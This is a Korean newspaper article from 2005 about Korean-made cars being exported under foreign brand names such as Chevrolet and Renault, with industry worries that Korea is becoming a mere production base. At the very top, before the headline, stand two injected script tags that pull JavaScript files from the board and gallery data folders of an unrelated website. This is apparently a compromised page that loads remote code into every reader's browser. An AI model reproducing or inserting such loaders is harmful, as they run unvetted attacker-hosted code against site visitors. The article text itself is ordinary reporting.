<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 허울뿐인 국산車 브랜드?
[헤럴드경제 2005.09.02 17:31:19]
\"GM대우ㆍ르노삼성등 수출용엔 외국이름 사용
\"브랜드 역량강화 없인 생산기지로 전락\" 지적
`메이드 인 코리아(Made in Korea)이긴 한데….`
국산 자동차 메이커들이 외국계 자동차 회사로 넘어간 뒤 수출 차량의 브랜드가 외국산 브랜드로 바뀌는 경우가 늘어나면서 한국이 생산기지로 전락하고 있다는 지적을 받고 있다.
2일 업계에 따르면 GM대우가 수출 물량의 대다수를 시보레 등 GM 산하 브랜드로 판매한 데 이어 르노삼성도 내년에 출시하는 스포츠유틸리티차량(SUV)을 유럽 지역에 르노 브랜드로 내놓기로 했다.
르노삼성 제롬 스톨 사장은 최근 열린 언론 발표회에서 \"르노삼성은 SUV를 수출 주력품으로 삼기로 했다\"면서 \"이 차량은 르노의 브랜드로 주로 유럽지역에 수출할 것\"이라고 말했다.
이는 르노-닛산 얼라이언스 체제 아래서 세계 각 지역별로 경쟁력이 있는 브랜드를 선택해서 공략하겠다는 차원으로 풀이된다.
스톨 사장은 \"SM시리즈의 경우 르노를 쓸지, 르노삼성으로 쓸지 결정하지 않았다\"면서 협의 중이라고만 밝혔다.
SM시리즈도 해외에서 브랜드 파워가 약하다는 것을 감안하면 다른 브랜드가 채택될 가능성이 클 것으로 업계는 내다보고 있다.
GM대우도 현재 GM글로벌 네트워크의 일원으로 지역별로 경쟁력 있는 브랜드를 선택, 수출하고 있다. 현재 GM대우는 시보레(Chevrolet), 뷰익(Buick), 폰티악(Pontiac), 스즈키(Suzuki) 등의 브랜드로 세계 150개국에 수출하고 있다. ▷북미에선 시보레, 스즈키, 폰티악으로 ▷중남미에선 시보레, 폰티악(멕시코)으로 ▷유럽에선 시보레로 ▷아시아태평양 지역에선 시보레, 뷰익(중국) ▷아시아 중동지역에선 시보레로 팔리고 있다.
다만 베트남과 폴란드 루마니아 우즈베키스탄 우크라이나 등 동유럽에 반제품(KD) 방식으로 부품을 수출, 현지에서 조립생산하는 경우에만 대우 브랜드를 달고 있다.
사실 이 같은 브랜드 차별화 전략은 판매에 큰 힘이 되고 있는 것이 사실이다. GM대우의 경우 지난해 총 79만5627대를 수출, 전년 대비 76% 늘었으며 올 1~7월 수출 누계 대수도 53만8064대로 전년 동기 대비 22.6% 증가했다.
그러나 브랜드 가치의 성장 없는 물량 성장은 단순 생산기지에 머무를 수 있다는 지적을 받고 있다.
업계 한 관계자는 \"한국 자동차산업이 앞으로 더 발전하기 위해서는 브랜드 역량 강화가 필수\"라면서 \"브랜드가 없다면 개발역량이 있다 하더라도 생산기지일 뿐\"이라고 반문했다.
올 초 상하이기차(SAIC)에 인수된 쌍용자동차는 브랜드력이 아직 중국 업체보다 한 수 위라는 판단 때문인지 `쌍용` 브랜드로 수출하고 있다.
|